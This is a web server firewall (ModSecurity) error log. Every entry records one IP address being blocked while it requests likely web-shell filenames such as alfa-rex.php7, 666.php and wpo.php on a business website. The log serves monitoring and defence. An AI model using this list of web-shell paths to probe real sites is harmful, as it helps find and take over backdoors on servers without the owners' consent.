[Sat Feb 28 06:37:02.405080 2026] [:error] [pid 22194:tid 22207] [client 158.158.96.194:29379] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aaIcjn6mbajs3bzQGysFSAAAAUs"]
[Sat Feb 28 06:37:03.444184 2026] [:error] [pid 11791:tid 11817] [client 158.158.96.194:36074] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aaIcj2uX5e1Q32gqxH2t6QAAARg"]
[Sat Feb 28 06:37:08.065308 2026] [:error] [pid 39292:tid 39299] [client 158.158.96.194:35757] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rum.php"] [unique_id "aaIclKIAO5fN7BxyqcFvqAAAAMU"]
[Sat Feb 28 06:37:11.901470 2026] [:error] [pid 39184:tid 39230] [client 158.158.96.194:32268] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rum.php"] [unique_id "aaIcl1tZF9Zd_U7easA9NQAAAEs"]
[Sat Feb 28 06:37:13.788807 2026] [:error] [pid 39185:tid 39257] [client 158.158.96.194:65140] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rum.php"] [unique_id "aaIcmRVE-FfM89u7BQZRewAAAIs"]
[Sat Feb 28 06:37:14.801824 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:65116] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rum.php"] [unique_id "aaIcmqIAO5fN7BxyqcFv0AAAANY"]
[Sat Feb 28 06:37:23.419223 2026] [:error] [pid 39292:tid 39295] [client 158.158.96.194:23283] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaIco6IAO5fN7BxyqcFv8QAAAME"]
[Sat Feb 28 06:37:24.850689 2026] [:error] [pid 22194:tid 22197] [client 158.158.96.194:35382] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaIcpH6mbajs3bzQGysFcgAAAUE"]
[Sat Feb 28 06:37:26.392949 2026] [:error] [pid 11791:tid 11810] [client 158.158.96.194:1028] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaIcpmuX5e1Q32gqxH2uDwAAARE"]
[Sat Feb 28 06:37:28.352969 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:1039] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaIcqKIAO5fN7BxyqcFwCgAAANM"]
[Sat Feb 28 06:37:30.662992 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:1957] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wio.php"] [unique_id "aaIcqqIAO5fN7BxyqcFwGgAAANM"]
[Sat Feb 28 06:37:31.720755 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:22900] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wio.php"] [unique_id "aaIcq6IAO5fN7BxyqcFwHgAAANg"]
[Sat Feb 28 06:37:32.699593 2026] [:error] [pid 39183:tid 39204] [client 158.158.96.194:1084] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wio.php"] [unique_id "aaIcrBCf4HvhVePw3LZwrAAAAAw"]
[Sat Feb 28 06:37:34.218633 2026] [:error] [pid 11791:tid 11817] [client 158.158.96.194:1801] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wio.php"] [unique_id "aaIcrmuX5e1Q32gqxH2uHQAAARg"]
[Sat Feb 28 06:37:35.487979 2026] [:error] [pid 39292:tid 39317] [client 158.158.96.194:1086] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaIcr6IAO5fN7BxyqcFwMAAAANc"]
[Sat Feb 28 06:37:36.468087 2026] [:error] [pid 39292:tid 39299] [client 158.158.96.194:29347] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaIcsKIAO5fN7BxyqcFwOwAAAMU"]
[Sat Feb 28 06:37:39.686889 2026] [:error] [pid 22194:tid 22212] [client 158.158.96.194:25284] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaIcs36mbajs3bzQGysFhgAAAVA"]
[Sat Feb 28 06:37:40.528171 2026] [:error] [pid 39185:tid 39262] [client 158.158.96.194:1058] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaIctBVE-FfM89u7BQZRiwAAAJA"]
[Sat Feb 28 06:37:49.195697 2026] [:error] [pid 39292:tid 39300] [client 158.158.96.194:25326] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaIcvaIAO5fN7BxyqcFwjgAAAMY"]
[Sat Feb 28 06:37:50.475084 2026] [:error] [pid 39183:tid 39205] [client 158.158.96.194:34939] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaIcvhCf4HvhVePw3LZwtgAAAA0"]
[Sat Feb 28 06:37:52.968167 2026] [:error] [pid 39185:tid 39253] [client 158.158.96.194:22202] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaIcwBVE-FfM89u7BQZRlwAAAIc"]
[Sat Feb 28 06:37:54.636516 2026] [:error] [pid 39184:tid 39220] [client 158.158.96.194:31635] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaIcwltZF9Zd_U7easA9VwAAAEE"]
[Sat Feb 28 06:37:55.291696 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:1894] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaIcw6IAO5fN7BxyqcFwrwAAAM0"]
[Sat Feb 28 06:37:56.246838 2026] [:error] [pid 39184:tid 39232] [client 158.158.96.194:19000] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaIcxFtZF9Zd_U7easA9XgAAAE0"]
[Sat Feb 28 06:38:00.376977 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:24565] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaIcyKIAO5fN7BxyqcFwswAAAMk"]
[Sat Feb 28 06:38:05.910734 2026] [:error] [pid 39292:tid 39315] [client 158.158.96.194:20568] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaIczaIAO5fN7BxyqcFwuQAAANU"]
[Sat Feb 28 06:38:10.557643 2026] [:error] [pid 11791:tid 11814] [client 158.158.96.194:19815] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aaIc0muX5e1Q32gqxH2ucgAAARU"]
[Sat Feb 28 06:38:12.848009 2026] [:error] [pid 39292:tid 39304] [client 158.158.96.194:14945] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aaIc1KIAO5fN7BxyqcFwwgAAAMo"]
[Sat Feb 28 06:38:14.120665 2026] [:error] [pid 11791:tid 11810] [client 158.158.96.194:34953] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aaIc1muX5e1Q32gqxH2udQAAARE"]
[Sat Feb 28 06:38:15.196574 2026] [:error] [pid 11791:tid 11801] [client 158.158.96.194:34997] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aaIc12uX5e1Q32gqxH2ufQAAAQg"]
[Sat Feb 28 06:38:17.042797 2026] [:error] [pid 22194:tid 22216] [client 158.158.96.194:13787] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aaIc2X6mbajs3bzQGysFyAAAAVQ"]
[Sat Feb 28 06:38:17.793438 2026] [:error] [pid 39292:tid 39309] [client 158.158.96.194:15679] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aaIc2aIAO5fN7BxyqcFw0AAAAM8"]
[Sat Feb 28 06:38:18.545750 2026] [:error] [pid 22194:tid 22215] [client 158.158.96.194:1434] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aaIc2n6mbajs3bzQGysFywAAAVM"]
[Sat Feb 28 06:38:22.107816 2026] [:error] [pid 39184:tid 39224] [client 158.158.96.194:33378] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aaIc3ltZF9Zd_U7easA9fAAAAEU"]
[Sat Feb 28 06:38:39.919906 2026] [:error] [pid 39183:tid 39214] [client 158.158.96.194:33140] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaIc7xCf4HvhVePw3LZw2gAAABY"]
[Sat Feb 28 06:38:41.227734 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:62026] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaIc8aIAO5fN7BxyqcFxMQAAAM0"]
[Sat Feb 28 06:38:42.137867 2026] [:error] [pid 22194:tid 22200] [client 158.158.96.194:1188] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaIc8n6mbajs3bzQGysF7QAAAUQ"]
[Sat Feb 28 06:38:42.967454 2026] [:error] [pid 22194:tid 22214] [client 158.158.96.194:33119] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaIc8n6mbajs3bzQGysF7gAAAVI"]
[Sat Feb 28 06:38:43.661903 2026] [:error] [pid 39185:tid 39268] [client 158.158.96.194:31606] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaIc8xVE-FfM89u7BQZRyAAAAJY"]
[Sat Feb 28 06:38:45.589376 2026] [:error] [pid 39185:tid 39247] [client 158.158.96.194:32424] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaIc9RVE-FfM89u7BQZRzwAAAIE"]
[Sat Feb 28 06:38:52.814548 2026] [:error] [pid 11791:tid 11800] [client 158.158.96.194:32386] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaIc_GuX5e1Q32gqxH2u4wAAAQc"]
[Sat Feb 28 06:38:54.245499 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:1169] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaIc_muX5e1Q32gqxH2u7wAAAQI"]
[Sat Feb 28 06:38:55.625327 2026] [:error] [pid 39292:tid 39302] [client 158.158.96.194:27685] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaIc_6IAO5fN7BxyqcFxVgAAAMg"]
[Sat Feb 28 06:38:57.096700 2026] [:error] [pid 39183:tid 39211] [client 158.158.96.194:35694] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaIdARCf4HvhVePw3LZw8wAAABM"]
[Sat Feb 28 06:38:58.761174 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:14889] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aaIdAqIAO5fN7BxyqcFxXAAAANQ"]
[Sat Feb 28 06:39:00.657203 2026] [:error] [pid 39184:tid 39233] [client 158.158.96.194:28816] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aaIdBFtZF9Zd_U7easA9oQAAAE4"]
[Sat Feb 28 06:39:04.390796 2026] [:error] [pid 39185:tid 39266] [client 158.158.96.194:28841] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aaIdCBVE-FfM89u7BQZR7QAAAJQ"]
[Sat Feb 28 06:39:05.337357 2026] [:error] [pid 39292:tid 39311] [client 158.158.96.194:21605] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aaIdCaIAO5fN7BxyqcFxiwAAANE"]
[Sat Feb 28 06:39:06.757842 2026] [:error] [pid 39185:tid 39255] [client 158.158.96.194:27673] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/post.php"] [unique_id "aaIdChVE-FfM89u7BQZR8gAAAIk"]
[Sat Feb 28 06:39:07.802255 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:14169] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/post.php"] [unique_id "aaIdC2uX5e1Q32gqxH2vCAAAARc"]
[Sat Feb 28 06:39:09.660404 2026] [:error] [pid 11791:tid 11806] [client 158.158.96.194:21631] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/post.php"] [unique_id "aaIdDWuX5e1Q32gqxH2vCwAAAQ0"]
[Sat Feb 28 06:39:13.510457 2026] [:error] [pid 39183:tid 39208] [client 158.158.96.194:27671] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/post.php"] [unique_id "aaIdERCf4HvhVePw3LZxAwAAABA"]
[Sat Feb 28 06:39:14.729255 2026] [:error] [pid 39292:tid 39300] [client 158.158.96.194:28859] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaIdEqIAO5fN7BxyqcFxvgAAAMY"]
[Sat Feb 28 06:39:15.828159 2026] [:error] [pid 39292:tid 39302] [client 158.158.96.194:27708] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaIdE6IAO5fN7BxyqcFxywAAAMg"]
[Sat Feb 28 06:39:16.516894 2026] [:error] [pid 39292:tid 39312] [client 158.158.96.194:21601] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaIdFKIAO5fN7BxyqcFxzwAAANI"]
[Sat Feb 28 06:39:17.413128 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:28802] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaIdFaIAO5fN7BxyqcFx1gAAAMk"]
